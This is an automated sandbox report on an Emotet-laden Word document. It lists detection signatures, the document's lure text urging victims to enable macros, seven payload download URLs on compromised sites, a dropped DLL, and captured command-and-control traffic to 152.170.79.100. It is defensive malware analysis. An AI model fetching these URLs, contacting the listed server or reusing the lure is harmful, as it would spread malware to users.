Analysis Report info_2020_NJY_31940448.doc

Overview

General Information

Sample Name: info_2020_NJY_31940448.doc
Analysis ID: 339167
MD5: e99693721af4330b2f4f0e4ca39f74df
SHA1: 8d5141493dc9e88dd82f55ebbc9c538764127887
SHA256: c081588672d7e47686d25c4e55de905404749c4ab80a8ba47eb66ceb77c4bc3e

Most interesting Screenshot:

Detection

Emotet
Score: 100
Range: 0 - 100
Whitelisted: false
Confidence: 100%

Signatures

Antivirus detection for URL or domain
Multi AV Scanner detection for domain / URL
Multi AV Scanner detection for dropped file
Multi AV Scanner detection for submitted file
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
System process connects to network (likely due to code injection or exploit)
Yara detected Emotet
Creates processes via WMI
Document contains an embedded VBA with many GOTO operations indicating source code obfuscation
Document contains an embedded VBA with many randomly named variables
Encrypted powershell cmdline option found
Hides that the sample has been downloaded from the Internet (zone.identifier)
Obfuscated command line found
Potential dropper URLs found in powershell memory
PowerShell case anomaly found
Powershell drops PE file
Suspicious powershell command line found
Very long command line found
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)
Contains functionality to check if a debugger is running (IsDebuggerPresent)
Contains functionality to query CPU information (cpuid)
Contains functionality to query locales information (e.g. system language)
Contains functionality to read the PEB
Contains functionality which may be used to detect a debugger (GetProcessHeap)
Contains long sleeps (>= 3 min)
Creates a process in suspended mode (likely to inject code)
Creates files inside the system directory
Detected potential crypto function
Document contains an embedded VBA macro which executes code when the document is opened / closed
Document contains embedded VBA macros
Dropped file seen in connection with other malware
Drops PE files
Drops PE files to the windows directory (C:\Windows)
Enables debug privileges
Found potential string decryption / allocating functions
HTTP GET or POST without a user agent
IP address seen in connection with other malware
Internet Provider seen in connection with other malware
May sleep (evasive loops) to hinder dynamic analysis
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
Potential document exploit detected (unknown TCP traffic)
Queries the volume information (name, serial number etc) of a device
Uses a known web browser user agent for HTTP communication
Uses code obfuscation techniques (call, push, ret)
Very long cmdline option found, this is very uncommon (may be encrypted or packed)
Yara signature match

Classification

AV Detection:

barindex
Antivirus detection for URL or domain
Source: http://ezi-pos.com/categoryl/x/ Avira URL Cloud: Label: malware
Source: http://allcannabismeds.com/unraid-map/ZZm6/ Avira URL Cloud: Label: malware
Source: https://etkindedektiflik.com/pcie-speed/U/ Avira URL Cloud: Label: malware
Source: http://ienglishabc.com/cow/JH/ Avira URL Cloud: Label: malware
Source: http://giannaspsychicstudio.com/cgi-bin/PP/ Avira URL Cloud: Label: malware
Source: http://abrillofurniture.com/bph-nclex-wygq4/a7nBfhs/ Avira URL Cloud: Label: malware
Source: https://vstsample.com/wp-includes/7eXeI/ Avira URL Cloud: Label: malware
Multi AV Scanner detection for domain / URL
Source: allcannabismeds.com Virustotal: Detection: 12% Perma Link
Source: http://ezi-pos.com/categoryl/x/ Virustotal: Detection: 19% Perma Link
Source: http://allcannabismeds.com/unraid-map/ZZm6/ Virustotal: Detection: 18% Perma Link
Source: https://etkindedektiflik.com/pcie-speed/U/ Virustotal: Detection: 15% Perma Link
Source: http://ienglishabc.com/cow/JH/ Virustotal: Detection: 15% Perma Link
Source: http://allcannabismeds.com Virustotal: Detection: 12% Perma Link
Multi AV Scanner detection for dropped file
Source: C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Metadefender: Detection: 66% Perma Link
Source: C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll ReversingLabs: Detection: 86%
Multi AV Scanner detection for submitted file
Source: info_2020_NJY_31940448.doc Virustotal: Detection: 65% Perma Link
Source: info_2020_NJY_31940448.doc Metadefender: Detection: 41% Perma Link
Source: info_2020_NJY_31940448.doc ReversingLabs: Detection: 79%
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File opened: C:\Windows\WinSxS\amd64_microsoft.vc90.crt_1fc8b3b9a1e18e3b_9.0.30729.4940_none_08e4299fa83d7e3c\MSVCR90.dll Jump to behavior
Source: Binary string: System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\symbols\dll\System.Management.Automation.pdbCom source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\dll\System.Management.Automation.pdbProg source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: C:\Windows\assembly\GAC_MSIL\System.Management.Automation\1.0.0.0__31bf3856ad364e35\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: ws\System.Management.Automation.pdbpdbion.pdbERSP source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: B:\cliprgn_src\Release\ClipRgn.pdb source: rundll32.exe, 00000007.00000002.2113030372.0000000010042000.00000002.00020000.sdmp
Source: Binary string: C:\Windows\System.Management.Automation.pdb source: powershell.exe, 00000005.00000002.2106397594.0000000002D37000.00000004.00000040.sdmp
Source: Binary string: mscorrc.pdb source: powershell.exe, 00000005.00000002.2106142374.0000000002A40000.00000002.00000001.sdmp
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100272AB FindFirstFileExW,FindNextFileW,FindClose, 7_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10026EEF FindFirstFileExW, 7_2_10026EEF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_100272AB FindFirstFileExW,FindNextFileW,FindClose, 8_2_100272AB
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 8_2_10026EEF FindFirstFileExW, 8_2_10026EEF
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File opened: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini Jump to behavior

Software Vulnerabilities:

barindex
Potential document exploit detected (performs DNS queries)
Source: global traffic DNS query: name: allcannabismeds.com
Potential document exploit detected (performs HTTP gets)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 35.208.69.64:80
Potential document exploit detected (unknown TCP traffic)
Source: global traffic TCP traffic: 192.168.2.22:49167 -> 35.208.69.64:80

Networking:

barindex
Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)
Source: Traffic Snort IDS: 2404306 ET CNC Feodo Tracker Reported CnC Server TCP group 4 192.168.2.22:49168 -> 152.170.79.100:80
Potential dropper URLs found in powershell memory
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in memory: http://allcannabismeds.com/unraid-map/ZZm6/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in memory: http://giannaspsychicstudio.com/cgi-bin/PP/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in memory: http://ienglishabc.com/cow/JH/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in memory: http://abrillofurniture.com/bph-nclex-wygq4/a7nBfhs/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in memory: https://etkindedektiflik.com/pcie-speed/U/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in memory: https://vstsample.com/wp-includes/7eXeI/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in memory: http://ezi-pos.com/categoryl/x/
HTTP GET or POST without a user agent
Source: global traffic HTTP traffic detected: GET /unraid-map/ZZm6/ HTTP/1.1Host: allcannabismeds.comConnection: Keep-Alive
IP address seen in connection with other malware
Source: Joe Sandbox View IP Address: 152.170.79.100 152.170.79.100
Source: Joe Sandbox View IP Address: 152.170.79.100 152.170.79.100
Internet Provider seen in connection with other malware
Source: Joe Sandbox View ASN Name: TelecomArgentinaSAAR TelecomArgentinaSAAR
Source: Joe Sandbox View ASN Name: GOOGLE-2US GOOGLE-2US
Uses a known web browser user agent for HTTP communication
Source: global traffic HTTP traffic detected: POST /tkvop2zz2se/0vkwo/ HTTP/1.1DNT: 0Referer: 152.170.79.100/tkvop2zz2se/0vkwo/Content-Type: multipart/form-data; boundary=---------------cRAzC1LzwrnqrIhUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 152.170.79.100Content-Length: 5588Connection: Keep-AliveCache-Control: no-cache
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: unknown TCP traffic detected without corresponding DNS query: 152.170.79.100
Source: C:\Program Files\Microsoft Office\Office14\WINWORD.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.Word\~WRS{A07B73A5-D643-47FF-B622-0CF30ED55516}.tmp Jump to behavior
Source: global traffic HTTP traffic detected: GET /unraid-map/ZZm6/ HTTP/1.1Host: allcannabismeds.comConnection: Keep-Alive
Source: rundll32.exe, 00000006.00000002.2113882057.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2106952644.0000000000740000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2110345397.0000000001F70000.00000002.00000001.sdmp String found in binary or memory: Please visit http://www.hotmail.com/oe to learn more. equals www.hotmail.com (Hotmail)
Source: unknown DNS traffic detected: queries for: allcannabismeds.com
Source: unknown HTTP traffic detected: POST /tkvop2zz2se/0vkwo/ HTTP/1.1DNT: 0Referer: 152.170.79.100/tkvop2zz2se/0vkwo/Content-Type: multipart/form-data; boundary=---------------cRAzC1LzwrnqrIhUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: 152.170.79.100Content-Length: 5588Connection: Keep-AliveCache-Control: no-cache
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in binary or memory: http://abrillofurniture.com/bph-nclex-wygq4/a7nBfhs/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in binary or memory: http://allcannabismeds.com
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp, powershell.exe, 00000005.00000002.2112382964.000000001B49A000.00000004.00000001.sdmp String found in binary or memory: http://allcannabismeds.com/unraid-map/ZZm6/
Source: rundll32.exe, 00000007.00000002.2108209806.0000000002390000.00000002.00000001.sdmp String found in binary or memory: http://computername/printers/printername/.printer
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in binary or memory: http://ezi-pos.com/categoryl/x/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in binary or memory: http://giannaspsychicstudio.com/cgi-bin/PP/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in binary or memory: http://ienglishabc.com/cow/JH/
Source: rundll32.exe, 00000006.00000002.2113882057.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2106952644.0000000000740000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2110345397.0000000001F70000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com
Source: rundll32.exe, 00000006.00000002.2113882057.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2106952644.0000000000740000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2110345397.0000000001F70000.00000002.00000001.sdmp String found in binary or memory: http://investor.msn.com/
Source: rundll32.exe, 00000006.00000002.2114633102.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107425758.0000000000927000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XML.asp
Source: rundll32.exe, 00000006.00000002.2114633102.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107425758.0000000000927000.00000002.00000001.sdmp String found in binary or memory: http://localizability/practices/XMLConfiguration.asp
Source: powershell.exe, 00000005.00000002.2104803337.0000000002340000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2111873001.0000000002CF0000.00000002.00000001.sdmp String found in binary or memory: http://schemas.xmlsoap.org/ws/2004/08/addressing/role/anonymous.
Source: rundll32.exe, 00000006.00000002.2114633102.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107425758.0000000000927000.00000002.00000001.sdmp String found in binary or memory: http://services.msn.com/svcs/oe/certpage.asp?name=%s&email=%s&&Check
Source: rundll32.exe, 00000007.00000002.2108209806.0000000002390000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2112295620.00000000024C0000.00000002.00000001.sdmp String found in binary or memory: http://treyresearch.net
Source: rundll32.exe, 00000007.00000002.2108209806.0000000002390000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2112295620.00000000024C0000.00000002.00000001.sdmp String found in binary or memory: http://wellformedweb.org/CommentAPI/
Source: rundll32.exe, 00000006.00000002.2114633102.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107425758.0000000000927000.00000002.00000001.sdmp String found in binary or memory: http://windowsmedia.com/redir/services.asp?WMPFriendly=true
Source: powershell.exe, 00000005.00000002.2104803337.0000000002340000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2111873001.0000000002CF0000.00000002.00000001.sdmp String found in binary or memory: http://www.%s.comPA
Source: rundll32.exe, 00000007.00000002.2108209806.0000000002390000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2112295620.00000000024C0000.00000002.00000001.sdmp String found in binary or memory: http://www.expedia.com/pub/agent.dll?qscr=mcst&strt1=%1&city1=%2&stnm1=%4&zipc1=%3&cnty1=5?http://ww
Source: rundll32.exe, 00000006.00000002.2113882057.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2106952644.0000000000740000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2110345397.0000000001F70000.00000002.00000001.sdmp String found in binary or memory: http://www.hotmail.com/oe
Source: rundll32.exe, 00000006.00000002.2114633102.0000000001E27000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2107425758.0000000000927000.00000002.00000001.sdmp String found in binary or memory: http://www.icra.org/vocabulary/.
Source: rundll32.exe, 00000007.00000002.2108209806.0000000002390000.00000002.00000001.sdmp String found in binary or memory: http://www.iis.fhg.de/audioPA
Source: rundll32.exe, 00000006.00000002.2113882057.0000000001C40000.00000002.00000001.sdmp, rundll32.exe, 00000007.00000002.2106952644.0000000000740000.00000002.00000001.sdmp, rundll32.exe, 00000008.00000002.2110345397.0000000001F70000.00000002.00000001.sdmp String found in binary or memory: http://www.msnbc.com/news/ticker.txt
Source: powershell.exe, 00000005.00000002.2103707252.0000000000304000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleaner
Source: powershell.exe, 00000005.00000002.2103707252.0000000000304000.00000004.00000020.sdmp String found in binary or memory: http://www.piriform.com/ccleanerhttp:
Source: rundll32.exe, 00000008.00000002.2110345397.0000000001F70000.00000002.00000001.sdmp String found in binary or memory: http://www.windows.com/pctv.
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in binary or memory: https://etkindedektiflik.com/pcie-speed/U/
Source: powershell.exe, 00000005.00000002.2109531844.0000000003763000.00000004.00000001.sdmp String found in binary or memory: https://vstsample.com/wp-includes/7eXeI/

E-Banking Fraud:

barindex
Yara detected Emotet
Source: Yara match File source: 0000000E.00000002.2124437516.0000000000161000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2355747254.00000000001D1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2121698890.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2117620078.0000000000250000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2109254352.0000000000261000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2107903712.0000000000B21000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.2355718078.00000000001B0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2112719680.0000000000241000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000E.00000002.2124305408.0000000000140000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.2118054956.00000000006A1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2111015590.0000000000150000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.2121760438.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2115003226.00000000001F1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.2112674690.0000000000220000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.2114888366.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.2111121616.00000000001B1000.00000020.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.2106786697.00000000001E0000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.2108974608.0000000000190000.00000040.00000001.sdmp, type: MEMORY
Source: Yara match File source: 8.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.6a0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.150000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.260000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.220000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.b20000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.220000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.1f0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.rundll32.exe.1e0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.250000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.150000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.rundll32.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1d0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.160000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.rundll32.exe.1b0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.rundll32.exe.190000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.rundll32.exe.240000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: 14.2.rundll32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.rundll32.exe.190000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.rundll32.exe.1b0000.0.unpack, type: UNPACKEDPE

System Summary:

barindex
Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Source: Screenshot number: 4 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document. 0 Page: I 0' ' I Wo'd
Source: Screenshot number: 4 Screenshot OCR: DOCUMENT IS PROTECTED. I Previewing is not available for protected documents. You have to press "E
Source: Screenshot number: 4 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Screenshot number: 4 Screenshot OCR: ENABLE CONTENT" buttons to preview this document. 0 Page: I 0' ' I Wo'd" ' I US I N@m 13 ;a
Source: Document image extraction number: 0 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 0 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 0 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: ENABLE EDITING" and "ENABLE CONTENT" buttons to preview this document.
Source: Document image extraction number: 1 Screenshot OCR: DOCUMENT IS PROTECTED. Previewing is not available for protected documents. You have to press "ENA
Source: Document image extraction number: 1 Screenshot OCR: protected documents. You have to press "ENABLE EDITING" and "ENABLE CONTENT" buttons to preview thi
Source: Document image extraction number: 1 Screenshot OCR: ENABLE CONTENT" buttons to preview this document.
Powershell drops PE file
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe File created: C:\Users\user\Ygyhlqt\Bx5jfmo\R43H.dll Jump to dropped file
Very long command line found
Source: unknown Process created: Commandline size = 5357
Source: unknown Process created: Commandline size = 5261
Source: C:\Windows\System32\cmd.exe Process created: Commandline size = 5261 Jump to behavior
Allocates memory within range which is reserved for system DLLs (kernel32.dll, advapi32.dll, etc)
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write Jump to behavior
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76E20000 page execute and read and write
Source: C:\Windows\SysWOW64\rundll32.exe Memory allocated: 76D20000 page execute and read and write
Creates files inside the system directory
Source: C:\Windows\SysWOW64\rundll32.exe File created: C:\Windows\SysWOW64\Slimgulabo\ Jump to behavior
Detected potential crypto function
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001D0AC 7_2_1001D0AC
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1003B353 7_2_1003B353
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1003B473 7_2_1003B473
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001B773 7_2_1001B773
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100357C0 7_2_100357C0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001B9A5 7_2_1001B9A5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_100079E0 7_2_100079E0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001BBE6 7_2_1001BBE6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10035BF0 7_2_10035BF0
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_10033D2D 7_2_10033D2D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001BE18 7_2_1001BE18
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1002FE2A 7_2_1002FE2A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C04A 7_2_1001C04A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C28B 7_2_1001C28B
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1003628F 7_2_1003628F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C4BD 7_2_1001C4BD
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C71A 7_2_1001C71A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001C986 7_2_1001C986
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001CBE3 7_2_1001CBE3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_1001CE40 7_2_1001CE40
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2C0C6 7_2_00B2C0C6
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B342DA 7_2_00B342DA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B302C3 7_2_00B302C3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B28736 7_2_00B28736
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B34B41 7_2_00B34B41
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B22C63 7_2_00B22C63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2EE78 7_2_00B2EE78
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2B41F 7_2_00B2B41F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2568E 7_2_00B2568E
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B33895 7_2_00B33895
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B27B63 7_2_00B27B63
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B280BA 7_2_00B280BA
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B260B9 7_2_00B260B9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B3A0AF 7_2_00B3A0AF
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B320C5 7_2_00B320C5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2E05A 7_2_00B2E05A
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B361B8 7_2_00B361B8
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B262A3 7_2_00B262A3
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2839D 7_2_00B2839D
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B363C1 7_2_00B363C1
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2E377 7_2_00B2E377
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B32349 7_2_00B32349
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B326F5 7_2_00B326F5
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B3878F 7_2_00B3878F
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B367E9 7_2_00B367E9
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B2C769 7_2_00B2C769
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B26754 7_2_00B26754
Source: C:\Windows\SysWOW64\rundll32.exe Code function: 7_2_00B248BD 7_2_00B248BD
